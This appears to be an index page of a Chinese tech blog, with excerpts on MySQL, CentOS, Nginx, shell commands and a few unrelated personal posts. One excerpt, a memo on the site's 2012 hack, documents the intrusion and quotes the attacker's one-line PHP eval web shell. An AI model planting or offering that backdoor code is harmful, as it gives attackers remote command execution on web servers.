CentOS下编译安装MySQL5.5

有一台CentOS服务器原来安装的是通过yum install方式安装的MySQL5.1,现在因为一个项目的数据涉及CJK编码,需要将MySQL升级到5.5。因为yum中的版本比较旧,所以采用自行编译的方式安装,详细步骤如下:一 yum -y install cmake ncurses-devel gcc gcc-c++ bison准备工作:先通过yum安装需要用到的软件、库之类的。gcc是Linux下常用的编译器cmake是一个跨平台的安装(编译)工具ncurses是字符终端下的可视界面

Javascript将字符串中的前置Tab制表符转为空格

更新:是我自己二了,制表符丢失是CSS引起的,去掉就好了,不用这么麻烦!我二了,我二了!我在研究一个编辑器的插入源代码的插件,遇到一个问题:插入的代码在显示的时候浏览器把TAB制表符忽略了,就导致了代码的缩进就乱掉了。如图所示源代码中的是好的:但在浏览器里显示出来,制表符的缩进就没有了:写了一个函数把这个制表符的缩进用8个空格代替: Javascript执行后,

主域名和子域名COOKIE冲突的解决方案

之前有用户反馈在某些情况下,登录AKCMS提示成功,但是紧接着又要求登录,陷入死循环。之前调试过数次,看到的现象是写入COOKIE后,紧接着刷新页面读出来COOKIE就和刚才写的不同,一直都没找到原因。今天偶然的机会找到原因了,原来是COOKIE的一个缺陷:写入COOKIE的时候可以指定域名,但“读”的时候不可以。写入可以指定域名意味着为abc.akcms.com域名写一个COOKIE(test=1),再为akcms

不用Java基础写Android应用的Hello,word(2012年12月更新)

一 下载相关资源ADT(Android开发工具)(Android Development Tools的缩写)http://developer.android.com/sdk/index.html,点击“Download the SDK ADT Bundle for Windows”,在新打开的页面中选中“I have read and agree with the above terms and conditions”同意许可协议,选择32进制还是64进制,再次点击“Download the SDK ADT Bundle for Windows”按钮就正式开始下载了,文件大小400MB左右。原来需要单独下载Eclipse和ADT插件,我发现最新

设置MySQL开机自动启动

通过yum安装MySQL后,默认开机时不会自动启动,需要手动设置MySQL让它开机自启动。首先通过chkconfig命令看看MySQL在不在可管理的列表中,命令是:chkconfig --list如果列表中没有mysqld这个,需要先用这个命令添加:chkconfig add mysqld然后用这个命令设置开机启动:chkconfig mysqld on最后确认一下是否设置成功,如图:如果对应mysqld对应的6项中有3项是on就证明已经设置成功。

MySQL无法启动:Table 'mysql.host' doesn't exist

在一台服务器上使用yum命令安装MySQL,安装很顺利但无法启动,想了想可能是之前误操作/var/目录的权限,导致没有写权限导致的。但重新设置写权限之后仍不能正确启动。提示:Timeout error occurred trying to start MySQL Daemon.Starting MySQL: [FAILED]检查了MySQL的日志(cat /var/log/mysqld.log)发现提示一个错误([ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.host' doesn't exist),如图:猜测可能是

畅销书《影响力》内容概要

早几个月前读完了《影响力》这本书,号称是最畅销社会心理学作品,畅销20年。今天总结归纳一下:动物有条件反射,人类也一样。人类不光有生理性的膝跳反射,还有许多心理性的。了解并灵活运用这些条件反射会对你的商业活动大有帮助。一 一分钱一分货,便宜没好货。贵的东西一定比便宜的好二 吃人家的嘴软,拿人家的手短。接受了别人的赠品就很难拒绝他的推销,否则会有

让Linux服务器时间同步

以下命令都需要用root权限执行,否则会提示权限不足首先确定服务器有没有ntpdate这个软件:which ntpdate如果没有找到,就需要安装一个ntpdate。在Redhat、CentOS下使用这个命令:yum install -y ntp在Debian、Ubuntu下使用这个命令:apt-get install -y ntpdate安装好以后执行以下命令,通过授时服务器获得准确的时间ntpdate -u pool.ntp.orgpool.ntp.org是一组授时服务器虚拟集群,在全球有3000多台服务器,只需要

生男生女与男女比例的概率问题

题目一:100000对夫妇要生孩子,第一胎如果是男孩,则只能生一胎;如果第一胎是女孩则还可以生一胎。但不管第二胎是男是女都不可以生第三胎了。题目二:100000对夫妇要生孩子,第一胎如果是男孩,则只能生一胎;如果第一胎是女孩则还可以生一胎。如果仍是女孩则还可以继续生,直到生到一个男孩为止,就不许再生了。在以上两种情况下,新生儿男女比例各是几比几?为什么?

CentOS安装scp命令

在测试中需要在两台虚拟机之间传递文件,首先想到的是scp命令,结果提示:-bash: scp: command not found想当然用yum install scp命令安装,结果提示:No package scp available.后来发现scp这东西应该属于openssh-clients这个包,运行:yum install openssh-clients再运行scp就可以了,再次运行:scp 1.so root@192.168.0.182:/root/输入密码后又再次提示:bash: scp: command not found在目标主机也同样安装一下openssh-clients,再次尝

20120926网站被黑备忘录

问题的产生:akcms.com主站在2012年09月21日被黑客注入攻击,黑客做了以下的事情:1 修改了后台的密码2 污染了6个模版3 上传了一个一句话木马fa.php(<?eval($_POST[cmd]);?>),利用它又上传了更大的木马4 上传了3张奇怪的jpeg,这种行为不用看jpeg内容可以确定99%是木马,但仔细查看jpeg的内容未发现木马的特征5 上传了4张gif图片,QQ表情中那个捂着嘴笑的,插入了攻击代码,确实是木马6 删

《末代皇孙》故事梗概

昨天我看完了《末代皇孙》这部老电视剧,大约是我中学时候在电视上看的。去年过年时在网上下载下来怀旧,拖拖拉拉历时一年零七个月把这部电视剧看完了。估计以后都不会再看了,写一个故事梗概留作纪念:故事发生在晚清末年,大清朝即将灭亡,但八旗的王孙贵族仍过着游手好闲的逍遥日子,富察端康(黄日华饰)就是其中之一。某一天,在街头路遇日本人设擂台,穷小子张

CentOS中为系统添加网络设备

今天需要在虚拟机下做一个测试,找到以前的一个虚拟机磁盘文件,就想偷懒直接用。建好虚拟机,启动后发现这是一个CentOS6.2的系统,没有网络配置:ifconfig只能看到lo。上网查了一些资料,顺利解决,把过程记录下来:1 先看看有没有识别出设备,以及识别出的设备名:ls -la /sys/class/net | grep eth | awk '{print $9}'如果有设备会显示出来,比如我这台VPS的设备名是:eth1(为什么不是eth0?我

SHELL常用的“如何获得XXX”的答案

我是SHELL新手,学习过程中遇到的问题解决后我都会记录下来,积累成一个大列表。基本上是这样的句式:如何获得叉叉叉?1 如何获得日期?date '+%Y%m%d'2 如何获得前一天的日期?(在不倒腾时区的前提下)date --date='yesterday' '+%Y%m%d'前天的呢?date --date='-2day'3 如何获得某目录的子目录?ls -la | grep -e "^d" |awk '{print $NF}'待续

用脚本定时为Nginx多个虚拟主机批量切分日志

我有一台VPS是Nginx服务器,日志是这样规划的:/var/log/nginx/域名/access.log一开始用脚本为这些站点在每天0点切分日志,后来站点多了脚本就比较长,每次新增站点比较麻烦。尝试写了个脚本,能枚举/var/log/nginx下面的所有子目录,然后依次为各个站点切分日志,新增站点也会自动切分。脚本内容如下:todaydate=`date --date='yesterday' "+%Y%m%d"`#先把日期赋值到变量,因为脚本在第二天0点

title


title


让Nginx像Apache那样支持.htaccess?

这几天我写了一个AK博客系统,因为要支持伪静态所以想研究一下nginx下如何通过类似.htaccess的机制,通过WEB目录下新增一个文件动态的修改nginx配置,以实现伪静态。研究了半天,最终的结论是实现不了,网上有红薯朋友说自己有办法实现了nginx对.htaccess的支持,实际上跟Apache下的htaccess是完全不同的两回事:首先,.htaccess不是动态载入的,而是nginx启动时载入的,如果载入后修改.htacces

植物大战僵尸“无尽的试炼”(砸坛子)攻略(原创)

植物大战僵尸的解谜模式砸坛子的最后一关是无尽的试炼,从名字也可以知道这是个无穷的关,这一关是通过砸坛子砸出植物,也会砸出僵尸,用砸出的植物消灭砸出的僵尸,所有坛子和僵尸都没了,就胜利了。随机有一个坛子里有1-3个阳光,攒够了阳光可以购买唯一一个植物:樱桃炸弹。坛子中的植物是随机的,但固定会有一个小丑僵尸(玩偶匣僵尸)(炸掉旁边的8个格的植物)、

Ubuntu下修改DNS重启也能用的方法

安装好Ubuntu之后设置了静态IP地址,再重启后就无法解析域名。想重新设置一下DNS,打开/etc/resolv.confcat /etc/resolv.conf# Dynamic resolv.conf(5)file for glibc resolver(3)generated by resolvconf(8)# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN内容是一段警告:说这个文件是resolvconf程序动态创建的,不要直接手动编辑,修改将被覆盖。果不其然,修改后重启就失效了,搜索了Ubuntu下设置DNS的相关资料
扫码关注我的公众号